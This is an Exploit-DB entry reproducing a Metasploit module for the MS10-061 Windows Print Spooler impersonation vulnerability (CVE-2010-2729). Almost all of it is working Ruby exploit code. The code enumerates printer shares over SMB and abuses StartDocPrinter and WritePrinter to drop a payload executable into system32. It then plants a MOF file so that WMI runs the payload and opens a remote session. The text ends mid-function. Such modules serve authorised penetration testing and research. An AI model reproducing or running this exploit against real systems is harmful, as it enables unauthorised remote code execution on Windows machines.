Exploit-DB #16361
Description: Microsoft Windows - Print Spooler Service Impersonation (MS10-061) (Metasploit)
Type: remote
Platform: windows
Date: 2011-02-17
Author: Metasploit

Exploit:
##
# $Id: ms10_061_spoolss.rb 11766 2011-02-17 19:22:11Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/windows_error'
require 'msf/core/exploit/wbemexec'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Print Spooler Service Impersonation Vulnerability',
			'Description'    => %q{
					This module exploits the RPC service impersonation vulnerability detailed in
				Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the
				StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service
				to create a file. The working directory at the time is %SystemRoot%\\system32.
				An attacker can specify any file name, including directory traversal or full paths.
				By sending WritePrinter requests, an attacker can fully control the content of
				the created file.

				In order to gain code execution, this module writes an EXE and then (ab)uses the
				impersonation vulnerability a second time to create a secondary RPC connection
				to the \\PIPE\\ATSVC named pipe. We then proceed to create a remote AT job using
				a blind NetrJobAdd RPC call.
			},
			'Author'         =>
				[
					'jduck',  # re-discovery, printer RPC stubs, module
					'hdm'     # ATSVC RPC proxy method, etc ;)
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11766 $',
			'Platform'       => 'win',
			'References'     =>
				[
					[ 'OSVDB', '67988' ],
					[ 'CVE', '2010-2729' ],
					[ 'MSB', 'MS10-061' ]
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "",
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'Windows Universal', { } ]
				],
			'DisclosureDate' => 'Sep 14 2010',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('SMBPIPE', [ false,  "The named pipe for the spooler service", "spoolss"]),
				OptString.new('PNAME',   [ false,  "The printer share name to use on the target" ]),
			], self.class)
	end


	def exploit

		connect()
		login_time = Time.now
		smb_login()

		print_status("Trying target #{target.name}...")

		handle = dcerpc_handle('12[PII_REDACTED]-abcd-EF00[PII_REDACTED]ab', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)

		print_status("Bound to #{handle} ...")

		# Try all of the printers :)
		printers = []
		if (pname = datastore['PNAME'])
			printers << pname
		else
			res = self.simple.client.trans(
				"\\PIPE\\LANMAN",
				(
					[0x00].pack('v') +
					"WrLeh\x00"   +
					"B13BWz\x00"  +
					[0x01, 65406].pack("vv")
				)
			)

			printers = []

			lerror, lconv, lentries, lcount = res['Payload'].to_s[
				res['Payload'].v['ParamOffset'],
				res['Payload'].v['ParamCount']
			].unpack("v4")

			data = res['Payload'].to_s[
				res['Payload'].v['DataOffset'],
				res['Payload'].v['DataCount']
			]

			0.upto(lentries - 1) do |i|
				sname,tmp = data[(i * 20) +  0, 14].split("\x00")
				stype     = data[(i * 20) + 14, 2].unpack('v')[0]
				scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
				if ( lconv != 0)
					scoff -= lconv
				end
				scomm,tmp = data[scoff, data.length - scoff].split("\x00")

				# we only want printers
				next if stype != 1

				printers << sname
			end
		end

		# Generate a payload EXE to execute
		exe = generate_payload_exe

		printers.each { |pr|

			pname = "\\\\#{rhost}\\#{pr}"

			print_status("Attempting to exploit MS10-061 via #{pname} ...")

			# Open the printer
			status,ph = open_printer_ex(pname)
			if status != 0
				raise RuntimeError, "Unable to open printer: #{Msf::WindowsError.description(status)}"
			end
			print_status("Printer handle: %s" % ph.unpack('H*'))


			# NOTE: fname can be anything nice to write to (cwd is system32), even
			# directory traversal and full paths are OK.
			fname = rand_text_alphanumeric(14) + ".exe"
			write_file_contents(ph, fname, exe)

			# Generate a MOF file and write it so that the Windows Management Service will
			# execute our binary ;)
			mofname = rand_text_alphanumeric(14) + ".mof"
			mof = generate_mof(mofname, fname)
			write_file_contents(ph, "wbem\\mof\\#{mofname}", mof)

			# ClosePrinter
			status,ph = close_printer(ph)
			if status != 0
				raise RuntimeError, "Failed to close printer: #{Msf::WindowsError.description(status)}"
			end

			break if session_created?
		}

		#print_status("Everything should be set, waiting up to two minutes for a session...")
		print_status("Everything should be set, waiting for a session...")
		handler
		disconnect

	rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, Rex::ConnectionError
		raise RuntimeError, $!.message
	end


	#
	# Use the vuln to write a file :)
	#
	def write_file_contents(ph, fname, data)

		doc = rand_text_alphanumeric(16+rand(16))

		# StartDocPrinter
		status,jobid = start_doc_printer(ph, doc, fname)
		if status != 0 or jobid < 0
			raise RuntimeError, "Unable to start print job: #{Msf::WindowsError.description(status)}"
		end
		print_status("Job started: 0x%x" % jobid)

		# WritePrinter
		status,wrote = write_printer(ph, data)
		if status != 0 or wrote != data.length
			raise RuntimeError, ('Failed to write %d bytes!' % data.length)
		end
		print_status("Wrote %d bytes to %%SystemRoot%%\\system32\\%s" % [data.length, fname])

		# EndDocPrinter